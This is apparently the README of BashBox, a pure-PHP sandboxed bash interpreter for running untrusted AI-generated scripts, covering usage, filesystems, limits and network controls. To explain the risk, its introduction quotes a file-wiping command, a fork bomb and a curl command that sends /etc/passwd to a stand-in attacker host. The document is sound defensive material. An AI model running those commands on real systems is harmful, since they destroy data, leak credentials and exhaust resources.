BashBox is a sandboxed bash interpreter for AI agents, written in pure PHP 8.4+. It does not use proc_open, exec, or shell_exec. Every command is a PHP class, every file lives in a virtual filesystem, and every execution has hard limits.
Requires PHP 8.4+
Imagine you are building an AI coding assistant. A user asks: "Can you analyze my logs and find all error messages from the last hour?"
Your AI generates a bash script:
cat /var/log/app.log | grep "ERROR" | awk '{print $1, $2, $5}' | sort | uniq -c | sort -rnThe problem: Running user-generated bash code on your servers is dangerous. One malicious script could delete critical files (rm -rf /), exfiltrate sensitive data (curl -d @/etc/passwd attacker.com), launch denial-of-service attacks (:(){ :|:& };:), or access internal network resources (SSRF attacks).
Traditional solutions use containers or VMs, but those are slow, resource-heavy, and complex to orchestrate.
BashBox takes a different approach. It implements a complete bash interpreter in pure PHP with zero system calls. Think of it as a "bash emulator" that gives you:
- Instant execution with no container startup time
- True isolation with no access to your real filesystem or network unless you explicitly allow it
- Fine-grained control to limit commands, loops, memory, and execution time
- Full bash compatibility including pipes, redirects, functions, control flow, and substitutions
Perfect for AI agents, code execution platforms, CI/CD systems, or anywhere you need to run untrusted bash scripts safely.
Install BashBox using Composer:
composer require shipfastlabs/bashboxuse BashBox\Bash;
$bash = new Bash;
$result = $bash->exec('echo "Hello, World!"');
$result->stdout; // "Hello, World!\n"
$result->exitCode; // 0$result = $bash->exec('
NAME="BashBox"
echo "Hello, $NAME" | tr a-z A-Z
');
$result->stdout; // "HELLO, BASHBOX\n"$bash->exec('echo "hello" > greeting.txt');
$bash->exec('cat greeting.txt'); // "hello\n"
// Or directly via PHP:
$bash->writeFile('/home/user/data.txt', 'some content');
$bash->readFile('/home/user/data.txt'); // "some content"use BashBox\Bash;
use BashBox\BashOptions;
$bash = new Bash(new BashOptions(
initialFiles: [
'/home/user/config.json' => '{"key": "value"}',
'/home/user/script.sh' => 'echo "running"',
],
));
$result = $bash->exec('cat config.json');
$result->stdout; // '{"key": "value"}'$bash = new Bash(new BashOptions(
env: ['APP_ENV' => 'production', 'DEBUG' => 'false'],
));
$result = $bash->exec('echo $APP_ENV');
$result->stdout; // "production\n"$result = $bash->exec('
for i in 1 2 3; do
echo "Item $i"
done
');
$result->stdout; // "Item 1\nItem 2\nItem 3\n"$result = $bash->exec('
if [ -f greeting.txt ]; then
echo "exists"
else
echo "not found"
fi
');$result = $bash->exec('
greet() {
echo "Hello, $1!"
}
greet World
greet PHP
');
$result->stdout; // "Hello, World!\nHello, PHP!\n"use BashBox\ExecOptions;
$result = $bash->exec('grep "error"', new ExecOptions(
stdin: "line 1\nerror found\nline 3\n",
));
$result->stdout; // "error found\n"use BashBox\Bash;
use BashBox\BashOptions;
use BashBox\Limits;
$bash = new Bash(new BashOptions(
limits: new Limits(
maxCommandCount: 100,
maxLoopIterations: 500,
maxOutputSize: 1024 * 1024, // 1MB
maxCallDepth: 10,
),
));use BashBox\Commands\AbstractCommand;
use BashBox\Commands\CommandContext;
use BashBox\ExecResult;
class MyCommand extends AbstractCommand
{
public function getName(): string
{
return 'mycommand';
}
public function execute(array $args, CommandContext $ctx): ExecResult
{
return $this->success('Hello from my command!');
}
}
$bash->registerCommand(new MyCommand);
$result = $bash->exec('mycommand');
$result->stdout; // "Hello from my command!"BashBox ships with four filesystem backends:
use BashBox\Bash;
use BashBox\BashOptions;
use BashBox\Filesystem\InMemoryFs;
use BashBox\Filesystem\OverlayFs;
use BashBox\Filesystem\ReadWriteFs;
use BashBox\Filesystem\MountableFs;
// In-memory (default) — nothing touches disk
$bash = new Bash;
// Overlay — reads from a real directory, writes stay in memory
$bash = new Bash(new BashOptions(
fs: new OverlayFs('/path/to/project'),
));
// Read-write — real disk I/O via amphp/file
$bash = new Bash(new BashOptions(
fs: new ReadWriteFs('/path/to/sandbox'),
));
// Mountable — combine multiple backends at different paths
$mount = new MountableFs(new InMemoryFs);
$mount->mount('/data', new ReadWriteFs('/real/data'));
$bash = new Bash(new BashOptions(fs: $mount));All backends implement the same FileSystemInterface, including:
- File reads, writes, appends, copies, moves, and deletes
- Directory creation and directory listing with file-type metadata
stat/lstatmetadata viaFsStatchmod,utimes, hard links, symbolic links,readlink, andrealpath
Backend behavior:
InMemoryFsis fully virtual and never touches diskOverlayFsreads from a real directory and keeps writes in an in-memory copy-on-write layerReadWriteFsreads and writes directly to disk inside the configured rootMountableFscombines multiple backends under different mount points and supports cross-mount copies
Example:
$bash = new Bash(new BashOptions(
fs: new ReadWriteFs('/path/to/sandbox'),
));
$bash->exec('echo "#!/bin/bash" > /script.sh');
$bash->getFilesystem()->chmod('/script.sh', 0755);
$stat = $bash->getFilesystem()->stat('/script.sh');
$stat->mode; // 0755
$stat->size; // file size in bytesNetwork is off by default. Enable it by passing a NetworkConfig:
use BashBox\Bash;
use BashBox\BashOptions;
use BashBox\Network\NetworkConfig;
$bash = new Bash(new BashOptions(
network: new NetworkConfig(
allowedUrlPrefixes: ['https://api.example.com/'],
allowedMethods: ['GET', 'POST'],
denyPrivateRanges: true, // SSRF protection
maxResponseSize: 5 * 1024 * 1024, // 5MB
maxRedirects: 10,
timeout: 10,
),
));
$result = $bash->exec('curl -s https://api.example.com/data');For scenarios where you need full internet access without URL or method restrictions, use the dangerouslyAllowFullInternetAccess option:
use BashBox\Bash;
use BashBox\BashOptions;
use BashBox\Network\NetworkConfig;
$bash = new Bash(new BashOptions(
network: new NetworkConfig(
dangerouslyAllowFullInternetAccess: true,
// denyPrivateRanges still protects against SSRF attacks
denyPrivateRanges: true,
maxResponseSize: 5 * 1024 * 1024, // 5MB
maxRedirects: 10,
timeout: 10,
),
));
// Now any URL and HTTP method is allowed
$result = $bash->exec('curl -X POST https://any-website.com/api');
⚠️ SECURITY WARNING: ThedangerouslyAllowFullInternetAccessoption disables URL prefix and HTTP method restrictions. Only use this in trusted environments where you control the input. SSRF protection (denyPrivateRanges) is still applied unless explicitly disabled.
When network is configured, the curl command becomes available. Without it, curl does not exist.
A simpler API for quick use:
use BashBox\Sandbox\Sandbox;
$sandbox = Sandbox::create();
$sandbox->writeFiles([
'/home/user/app.sh' => 'echo "running"',
]);
$result = $sandbox->runCommand('bash app.sh');
$result->stdout; // "running\n"
$result->exitCode; // 0
$sandbox->readFile('/home/user/app.sh'); // 'echo "running"'BashBox includes 35+ built-in commands:
| Category | Commands |
|---|---|
| Output | echo, printf, cat, head, tail, tee |
| Files | ls, pwd, mkdir, rm, cp, mv, touch, find |
| Text | grep, sort, uniq, wc, cut, tr, sed, rev |
| Utils | xargs, env, printenv, basename, dirname, seq |
| Info | date, which, whoami, hostname, tree, test |
| Encoding | base64 |
| Network | curl (only when network is configured) |
| Builtins | true, false |
Shell builtins: cd, export, unset, local, set, shopt, source, eval, declare, read, break, continue, return, exit, shift, getopts, let, mapfile
BashBox is built for untrusted input:
- No
proc_open,exec,shell_exec,system, orpassthru— anywhere - All filesystem access goes through
FileSystemInterface - Path traversal and null-byte injection are blocked
OverlayFsdenies symlinks by default when reading from real directories- Network is off by default; when enabled, every request and redirect target goes through URL prefix checks, method allow-lists, SSRF protection, response-size caps, and timeouts
- Every execution has gas counters for loops, commands, output, and recursion
Clone the repo and install dependencies:
git clone git@github.com:shipfastlabs/bashbox.git
cd bashbox
composer installBashBox uses Pest for testing, PHPStan for static analysis, Pint for code style, Rector for automated refactoring, and Peck for typo checking.
Run everything at once:
composer testOr run each tool individually:
composer test:unit # Pest — unit tests with coverage
composer test:types # PHPStan — static analysis (level 5)
composer test:lint # Pint — code style check
composer test:refactor # Rector — dry-run refactoring suggestions
composer test:typos # Peck — spell check class names, methods, etc.To auto-fix code style and apply refactors:
composer lint # Pint — fix code style
composer refactor # Rector — apply refactorsMake sure the full suite passes:
composer testThis runs lint, static analysis, tests, and typo checking — in that order. All four must pass.
BashBox was created by Pushpak Chhajed under the MIT license.
